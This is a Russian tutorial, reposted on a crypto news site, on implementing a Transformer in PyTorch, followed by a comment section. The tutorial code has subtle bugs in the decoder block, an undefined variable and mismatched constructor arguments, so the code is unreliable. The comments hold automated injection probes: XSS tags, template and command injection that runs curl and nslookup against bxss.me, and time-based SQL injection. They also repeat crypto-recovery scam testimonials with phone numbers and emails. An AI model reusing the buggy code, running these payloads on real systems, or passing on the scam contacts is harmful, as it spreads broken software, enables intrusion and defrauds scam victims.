Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Русский Русский  English English
Войти / Регистрация
Cryptocurrencies: 9505 / Markets: 114717
Market Cap: $ 3 663 340 658 986 / 24h Vol: $ 222 537 540 211 / BTC Dominance: 58.861607907734%

Н Новости

  1. Главная
  2. Новости

Пишем свой Transformer

Чтобы поупражняться я решила более детально разобраться и попробовать самостоятельно написать Transformer на PyTorch. Результатом захотелось поделиться здесь. Надеюсь, так же как и мне, это поможет доразобраться в данной архитектуре и ответить на какие-то вопросы.

Оставляю ссылку на свой канал: not_magic_neural_networks

0 Intro

Впервые архитектуру трансформер предложили использовать в 2017 году в статье Google "Attention is all you need" (именно для задачи машинного перевода). Вскоре, Google начал впервые в истории использовать нейросети для перевода (в google translate).

Архитектура оказалась настолько эффективна, что ее адаптировали и под другие задачи, а весь NLP начал так активно развиваться именно с 2017 года.

Итак, transformer - архитектура, основа которой механизм внимания attention. Он так же, как и RNN, состоит из encoder и decoder части.

Основная статья: "Attention is all you need"
Пост с разбором: Transformer
Еще можно почитать тут: 6.3. Трансформеры
Или посмотреть: Лекция. Архитектура Transformer. Decoder, QKV Attention

Далее, я буду полагать, что читатели немного знакомы с transformer и буду рассуждать больше в контексте реализации.

Transformer
Transformer

1 Multi-head Attention

An Explanation of Self-Attention mechanism in Transformer
What is Multi-Head Attention (MHA)
PyTorch: MultiheadAttention

Начнем с главной части трансформера - Multi-head Attention.

Multi-head Attention присутствует в трех местах:

  1. Self Multi-head Attention в энкодере

  2. Masked Multi-head Attention в декодере

  3. Multi-head Attention, соединяющий энкодер и декодер части (так же в декодере)

Multi-head Attention
Multi-head Attention

1.1. QKV - attention

Attention (или механизм внимания) несет информацию о связях слов друг с другом.

QKV-attention - один из способов вычисления связей:

Attention(Q, K, V) = softmax\Bigg(\frac{QK^T}{\sqrt{d_k}}\Bigg) \cdot V

Понятия Q(query), K(key) и V(value) пришли из поиска:
Q - запрос, K - краткая сводка по документу и V - сам документ. Задача состоит в том чтобы по Q и K понять насколько документ релевантен (какой V выбирать).

В attention, Q, K и V были придуманы для того чтобы отобразить вход x в три линейный пространства со следующими смыслами: Q отобразит слово в пространство "откуда"; K отобразит в пространство "куда"; V отобразит в пространство в "что важно".

Пусть на вход нам приходит тензор x.

Получаем матрицы запросов(Q), ключей(K) и значений(V), пропуская эмбеддинги x через линейные слои W_q, W_k и W_v.
q = x * W_q
k = x * W_k
v = x * W_v

Интуиция такая: query-вектор спрашивает у key-вектора, есть ли у него какая-то полезная информация чтобы обновить информацию о себе. То есть, когда мы делаем перемножение q ✕ k.T, то мы фильтруем нужную информацию (выбираем наиболее релевантную) из k для q.

Считаем релевантность какrelevance = q @ k.T / math.sqrt(head_size), где math.sqrt(head_size) - нормировочная константа.

Получаем вероятности:relevance = softmax(relevance)

И считаем выход:head = relevance @ v

1.2. Multi-head Attention

Одну операцию attention(Q, K, V) принято называть "головой". Именно поэтому переменная выше была названа head. Multi-head Attention подразумевает что таких голов будет несколько и их количество будет определяться гиперпараметром num_head.

Подразумевается, что разные головы attention могли бы обращать внимание на разные типы связей между словами. Это и есть multi-head attention или attention с несколькими головами.

MultiHead(Q, K, V) = Concat(head_1, ..., head_H) \cdot W^O

head_i = Attention(Q_i, K_i, V_i)

Multi-head attention - конкатенация результатов нескольких отдельных attention операций (head_i), отображенная в заданную размерность с помощью еще одного линейного слоя.

1.3. Encoder Multi-Head Attention (или Self)

Self-attention работает только с вектором энкодера, то есть энкодер учится обращать внимание сам на себя (потому self). Его идея заключается в следующем: self-attention обновляет embedding-и каждого токена, добавляя в них полезную информацию на основе контекста (всех остальных токенов в предложении) в котором эти embedding-и находятся.

Self Multi-Head Attention
Self Multi-Head Attention

1.4 Encoder-Decoder Multi-Head Attention

Multi-head Attention соединяющий энкодер и декодер трансформера должен учитывать, что размерность Q (пришедшей из декодера) может отчитаться от V и K (пришедшей из энкодера).

Encoder-Decoder Multi-Head Attention
Encoder-Decoder Multi-Head Attention

1.5. Decoder Multi-head Attention (или Masked)

Последнее место, где используется Multi-head Attention:

Masked Multi-head Attention
Masked Multi-head Attention

Изначально, Transformer применялся к задачу перевода текста, в которой выходы (собственно перевод) должны генерироваться авторегрессионно, слово за словом.

Однако, Masked Multi-Head Attention реализует более хитрый вариант: к attention (матрице, которая отвечает "кто на кого смотрит") применяется авторегрессивная маска, обращаюая в −∞ веса до softmax для токенов из будущего, чтобы после softmax их вероятности стали нулевыми. Эта маска имеет нижнетреугольный вид (левый нижний треугольник включая главную диагональ).

Таким образом, каждый элемент смотрит только на те элементы, которые были в прошлом и не заглядывает в будущее. Это позволяет подавать данные не авторегрессионно, а все сразу.

При этом, на инференсе Masked Multi-Head Attention работает как обычный Multi-Head Attention.

В функции Multi-Head Attention применим к relevance маску, если она задана, до функции softmax: в тех местах, где маска содержит True, ставим -inf, чтобы после применения softmax значение в этой ячейке занулилось (так как экспонента возведенная в степень -inf будет равняться нулю).

1.6. Пишем Multi-head Attention

class MultiHeadAttention(nn.Module):
    def __init__(self, input_size, head_size, num_heads, out_size, query_input_size=None):
        super(MultiHeadAttention, self).__init__()
        
        self.input_size = input_size
        self.head_size = head_size
        self.num_heads = num_heads
        self.out_size = out_size
        # для attention, который смешивает информацию энкодера и декодера
        self.query_input_size = self.input_size if query_input_size is None else query_input_size
        
        self.W_Q = nn.Linear(self.query_input_size, self.num_heads * self.head_size, bias=False)
        self.W_K = nn.Linear(self.input_size, self.num_heads * self.head_size, bias=False)
        self.W_V = nn.Linear(self.input_size, self.num_heads * self.head_size, bias=False)
        
        # последний линейный слой
        self.out = nn.Linear(self.head_size * self.num_heads, self.out_size) 

    # создает маску для Masked Multi-Head Attention
    def make_mask(self, emb):
        batch_size, emb_len, _ = emb.shape
        mask = torch.tril(torch.ones((emb_len, emb_len))).expand(batch_size, 1, emb_len, emb_len).bool()
        return mask
    
    def forward(self, query, key, value, masked=False):
        # batch_size, emb_len, input_size
        
        batch_size = key.size(0)
        emb_len = key.size(1)
        query_emb_len = query.size(1)
        
        q = self.W_Q(query) 
        k = self.W_K(key)
        v = self.W_V(value)
        # batch_size, emb_len, self.num_heads * self.head_size
        
        # разделяем головы
        q = q.view(batch_size, query_emb_len, self.num_heads, self.head_size)
        k = k.view(batch_size, emb_len, self.num_heads, self.head_size)
        v = v.view(batch_size, emb_len, self.num_heads, self.head_size)
        # batch_size, emb_len, num_heads, head_size
        
        q = q.transpose(1,2) 
        k = k.transpose(1,2) 
        v = v.transpose(1,2) 
        # batch_size, num_heads, emb_len, head_size

        k_T = k.transpose(2, 3) 
        # batch_size, num_heads, head_size, emb_len 
        
        relevance = q @ k_T / math.sqrt(self.head_size)  
        # batch_size, num_heads, query_emb_len, emb_len
        
        if masked:
            mask = self.make_mask(key)
            relevance = relevance.masked_fill(mask, -torch.inf)
        
        # softmax вдоль последней размерности
        relevance = F.softmax(relevance, dim=-1)
        # batch_size, num_heads, emb_len, emb_len
        
        heads = relevance @ v
        # batch_size, num_heads, query_emb_len, head_size
        
        heads = heads.transpose(1, 2)
        # batch_size, query_emb_len, num_heads, head_size
        
        concat = heads.reshape(batch_size, query_emb_len, self.head_size * self.num_heads)  
        # batch_size, query_emb_len, num_heads * head_size
                
        out = self.out(concat)
        # batch_size, query_emb_len, out_size
        
        return out

2 Positional Encoding

Главное преимущество RNN моделей - это то, что они сохраняют временнУю связь между словами, читая текст слово за словом.

Positional Encoding добавляет к изначальным эмбеддингам информацию о позиции эмбеддинга в предложении (позиционный вектор такого же размера, что и сам эмбеддинг):

1e73ff48bd4136ee71a0e333a5a5af2f.pngfa0965c508bcfe404f2d412e644d956f.png

Существуют разные подходы получения позициональных векторов. Один из самых распространенных - через тригонометрические функции. Он и был предложен в статье "Attention is all you need":

Positional Encoding
Positional Encoding

emb_dim - размер каждого эмбеддинга, i - номер элемента позиционного вектора, t - позиция токена.

class PositionalEncoding(nn.Module):
    def __init__(self, max_emb_len, emb_dim):
        super(PositionalEncoding, self).__init__()
        
        self.max_emb_len = max_emb_len
        self.emb_dim = emb_dim
        
        t = torch.arange(max_emb_len)[:, None]
        i = torch.arange(emb_dim)[None, ::2]

        pe = torch.zeros(self.max_emb_len, self.emb_dim)
        # max_emb_len, emb_dim
        
        pe[:, ::2] = torch.sin(t / (10000 ** ((2 * i) / self.emb_dim)))
        pe[:, 1::2] = torch.cos(t / (10000 ** ((2 * i) / self.emb_dim)))
        
        pe = pe.unsqueeze(0)
        # 1, max_emb_len, emb_dim
        
        # Данный тензор будем хранить в stage dict этого модуля
        # Optimizer его не будет оптимизировать
        self.register_buffer('PositionalEncoding', pe)

    def forward(self, emb):
        # batch_size, emb_len, input_size
        emb_len = emb.size(1)
        return emb + self.PositionalEncoding[:, :emb_len] # batch_size, emb_len, input_size

3. Собираем Encoder

Encoder
Encoder

Enсoder Block повторяется N раз и состоит из состоит :

  1. Self Multi-Head Attention

  2. Add & Norm(Add - прибавляет к embedding-ам self-attention слой; Norm - нормализует значения embedding-ов по слоям)

  3. Feed Forward(два полносвязных слоя, с функцией активацией ReLU между ними)

  4. Add & Norm

class EncoderBlock(nn.Module):
    def __init__(self, input_size, head_size, num_heads, out_size, ff_hidden_size, query_input_size=None):
        super(EncoderBlock, self).__init__()
        
        self.input_size = input_size
        self.head_size = head_size
        self.num_heads = num_heads
        self.out_size = out_size
        
        self.ff_hidden_size = ff_hidden_size
        self.query_input_size = input_size if query_input_size is None else query_input_size
        
        self.attention = MultiHeadAttention(self.input_size, self.head_size, self.num_heads, self.out_size, self.query_input_size)
        
        if self.query_input_size != self.out_size:
            self.adapt = nn.Linear(self.query_input_size, self.out_size) 
        else:
            self.adapt = nn.Identity() # возвращает входные данные без изменений
        
        self.norm_1 = nn.LayerNorm(self.out_size) 
        
        self.feed_forward = nn.Sequential(OrderedDict([
            ("lin_1", nn.Linear(self.out_size, self.ff_hidden_size)),
            ("act", nn.ReLU()),
            ("lin_2", nn.Linear(self.ff_hidden_size, self.out_size)),
        ]))
        
        self.norm_2 = nn.LayerNorm(self.out_size)

    def forward(self, query, key, value):
        # batch_size, seq_len, in_size
        
        # Self Multi-Head Attention
        attention_out = self.attention(query, key, value)  
        # batch_size, seq_len, out_size
        
        # Add + Norm
        # add_1_out = attention_out + query
        # out_size - гиперпараметр, потому in_size (из query) может отличаться от out_size (из attention_out)
        # Потому воспользуемся линейным слоем adapt чтобы привести к одной размерности out_size
        add_1_out = attention_out + self.adapt(query)
        norm_1_out = self.norm_1(add_1_out)
        # batch_size, seq_len, out_size
        
        # Feed Foerward
        feed_forward_out = self.feed_forward(norm_1_out)
        # batch_size, seq_len, out_size
        
        # Add + Norm
        add_out = feed_forward_out + norm_1_out
        norm_2_out = self.norm_2(add_out)
        
        return norm_2_out

Повторяем EncoderBlock N раз:

  1. На вход подается embedding размером batch_size, seq_len, input_size.

  2. Применяем слой позиционного кодирования PositionalEncoding

  3. Прогоняем информацию N раз EncoderBlock 

class TransformerEncoder(nn.Module):
    def __init__(self, max_seq_len, vocab_size, emb_size, N, att_out_size, att_head_size, num_heads, ff_hidden_size):
        super(TransformerEncoder, self).__init__()
        
        self.max_seq_len = max_seq_len
        self.vocab_size = vocab_size
        self.emb_size = emb_size
        self.N = N
        self.att_out_size = att_out_size
        self.att_head_size = att_head_size
        self.num_heads = num_heads
        self.ff_hidden_size = ff_hidden_size
        
        self.embedding_layer = nn.Embedding(self.vocab_size, self.emb_size)
        self.positional_encoder = PositionalEncoding(self.max_seq_len, self.emb_size)

        self.encoder_blocks = nn.ModuleDict({
            f"encoder_block_{i}": EncoderBlock(
                input_size=self.emb_size if i==0 else self.att_out_size,
                head_size=self.att_head_size,
                num_heads=self.num_heads,
                out_size=self.att_out_size,
                ff_hidden_size=self.ff_hidden_size,
            ) for i in range(self.N)
        })
    
    def forward(self, encoder_input):
        # batch_size x seq_len
        
        encoder_emb = self.embedding_layer(encoder_input)  
        # batch_size, seq_len, emb_size
        
        out = self.positional_encoder(encoder_emb)
        # batch_size, seq_len, emb_size
        
        for block in self.encoder_blocks.values():
            out = block(out, out, out)  
        # batch_size, seq_len, att_out_size

        return out

4. Собираем Decoder

Сначала, аналогично энкодеру, соберем декодер блок, который будем повторять N раз:

0d49a55ce85b0b97d69c9d31971128db.png
class DecoderBlock(nn.Module):
    def __init__(self, input_size, head_size, num_heads, out_size, ff_hidden_size, encoder_out_size=None):
        super(DecoderBlock, self).__init__()
        
        self.input_size = input_size
        self.head_size = head_size
        self.num_heads = num_heads
        self.out_size = out_size
        self.ff_hidden_size = ff_hidden_size
        self.encoder_out_size = input_size if encoder_out_size is None else encoder_out_size
        
        self.masked_attention = MultiHeadAttention(
            input_size=self.input_size, 
            head_size=self.head_size, 
            num_heads=self.num_heads, 
            out_size=self.out_size
        )
        
        if self.input_size != self.out_size:
            self.adapt = nn.Linear(self.input_size, self.out_size)  
        else:
            self.adapt = nn.Identity()
            
        self.norm_1 = nn.LayerNorm(self.out_size)
        
        self.attention = MultiHeadAttention(
            input_size=self.encoder_out_size, 
            head_size=self.head_size, 
            num_heads=self.num_heads, 
            out_size=self.out_size, 
            query_input_size=self.out_size
        )
            
        self.norm_2 = nn.LayerNorm(self.out_size)
              
        self.feed_forward = nn.Sequential(OrderedDict([
            ("lin_1", nn.Linear(self.out_size, self.ff_hidden_size)),
            ("act", nn.ReLU()),
            ("lin_2", nn.Linear(self.ff_hidden_size, self.out_size)),
        ]))
        
        self.norm_3 = nn.LayerNorm(self.out_size)
    
    def forward(self, decoder_emb, encoder_output):
        # decoder_emb.size() = batch_size, seq_len, input_size
        # encoder_output.size() = batch_size, encoder_seq_len, encoder_out_size
        
        masked_attention = self.masked_attention(decoder_emb, decoder_emb, decoder_emb, masked=True)
        out_add_1 = masked_attention + self.adapt(decoder_emb)
        out_norm_1 = self.norm_1(out_add_1)
        # batch_size, emb_len, out_size
        
        attention = self.attention(out_norm_1, encoder_output, encoder_output)
        out_add_2 = attention + out_norm_1
        out_norm_2 = self.norm_2(out_add_2)
        # batch_size, emb_len, out_size
        
        out_feed_forward = self.feed_forward(out_norm_2)
        out_add_3 = masked_attention + out_norm_2
        out_norm_3 = self.norm_3(out_add_2)
        # batch_size, seq_len, out_size
        
        return out_norm_3

  1. На вход декодеру приходят эмбеддинги энкодера

  2. Добавляем к ним PositionalEnсoding

  3. Проходим N раз через декодер-блок

  4. Завершаем последним линейным слоем и softmax-ом

class TransformerDecoder(nn.Module):
    def __init__(self, max_seq_len, vocab_size, emb_size, num_layers, att_out_size, att_head_size, num_heads, ff_hidden_size, encoder_out_size=None):
        super(TransformerDecoder, self).__init__()
        
        self.max_seq_len = max_seq_len
        self.vocab_size = vocab_size
        self.emb_size = emb_size
        self.num_layers = num_layers
        self.att_out_size = att_out_size
        self.att_head_size = att_head_size
        self.num_heads = num_heads
        self.ff_hidden_size = ff_hidden_size
        self.encoder_out_size = input_size if encoder_out_size is None else encoder_out_size
        
        self.embedding_layer = nn.Embedding(self.vocab_size, self.emb_size)
        self.positional_encoder = PositionalEncoding(self.max_seq_len, self.emb_size)

        self.decoder_blocks = nn.ModuleDict({
            f"decoder_block_{i}": DecoderBlock(
                input_size=self.emb_size if i==0 else self.att_out_size,
                head_size=self.att_head_size,
                num_heads=self.num_heads,
                out_size=self.att_out_size,
                ff_hidden_size=self.ff_hidden_size,
                encoder_out_size=self.encoder_out_size,
            ) for i in range(self.num_layers)
        })
        
        self.fc = nn.Linear(self.att_out_size, self.vocab_size)

    def forward(self, decoder_input, encoder_output):
        # decoder_input.size() = batch_size, seq_len
        # encoder_output.size() = batch_size, encoder_seq_le, encoder_out_size
        
        decoder_emb = self.embedding_layer(decoder_input)  
        # batch_size, seq_len, emb_size
        
        decoder_emb = self.positional_encoder(decoder_emb)
        # batch_size, seq_len, emb_size
        
        out = decoder_emb
        for block in self.decoder_blocks.values():
            out = block(out, encoder_output)  
        # batch_size, seq_len, att_out_size
            
        out = self.fc(out)
        return out
        # batch_size x vocab_size

5. Собираем Transformer

class Transformer(nn.Module):
    def __init__(self, max_seq_len, vocab_size, emb_size, num_encoder_layers, enc_att_out_size, enc_att_head_size, enc_num_heads, enc_ff_hidden_size, num_decoder_layers, dec_att_out_size, dec_att_head_size, dec_num_heads, dec_ff_hidden_size,):
        super(Transformer, self).__init__()
        
        self.max_seq_len = max_seq_len
        self.vocab_size = vocab_size
        self.emb_size = emb_size
        
        self.num_encoder_layers = num_encoder_layers
        self.enc_att_out_size = enc_att_out_size
        self.enc_att_head_size = enc_att_head_size
        self.enc_num_heads = enc_num_heads
        self.enc_ff_hidden_size = enc_ff_hidden_size
        
        self.num_decoder_layers = num_decoder_layers
        self.dec_att_out_size = dec_att_out_size
        self.dec_att_head_size = dec_att_out_size
        self.dec_num_heads = dec_num_heads
        self.dec_ff_hidden_size = dec_ff_hidden_size

        # Encoder
        self.encoder = TransformerEncoder(
            max_seq_len=self.max_seq_len,
            vocab_size=self.vocab_size,
            emb_size=self.emb_size,
            num_layers=self.num_encoder_layers,
            att_head_size=self.enc_att_head_size,
            num_heads=self.enc_num_heads,
            att_out_size=self.enc_att_out_size,
            ff_hidden_size=self.enc_ff_hidden_size,
        )
        
        # Decoder
        self.decoder = TransformerDecoder(
            max_seq_len=self.max_seq_len,
            vocab_size=self.vocab_size,
            emb_size=self.emb_size,
            num_layers=self.num_decoder_layers,
            att_head_size=self.dec_att_head_size,
            num_heads=self.dec_num_heads,
            att_out_size=self.dec_att_out_size,
            ff_hidden_size=self.dec_ff_hidden_size,
            encoder_out_size=self.enc_att_out_size,
        )
    
    def forward(self, encoder_input, decoder_input):
        # encoder_input.size() = batch_size, encoder_seq_len
        # decoder_input.size() = batch_size, decoder_seq_len
        
        encoder_output = self.encoder(encoder_input)  
        # batch_size, enc_seq_len, enc_att_out_size
        decoder_output = self.decoder(decoder_input, encoder_output)
        # batch_size, dec_seq_len, vocab_size
        return decoder_output

Замечания

  1. На самом деле в декодере можно бы было использовать часть энкодера, а не дублировать слои. Для этого надо добавить query_input_size в энкодер и аккуратно создать слой энкодера в декодере и правильно передать параметры.

Часть декодера, где можно переиспользовать энкодер
Часть декодера, где можно переиспользовать энкодер

2.Нет DropOut слоев

Источник

Теги

Категория

Новости

Дата

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

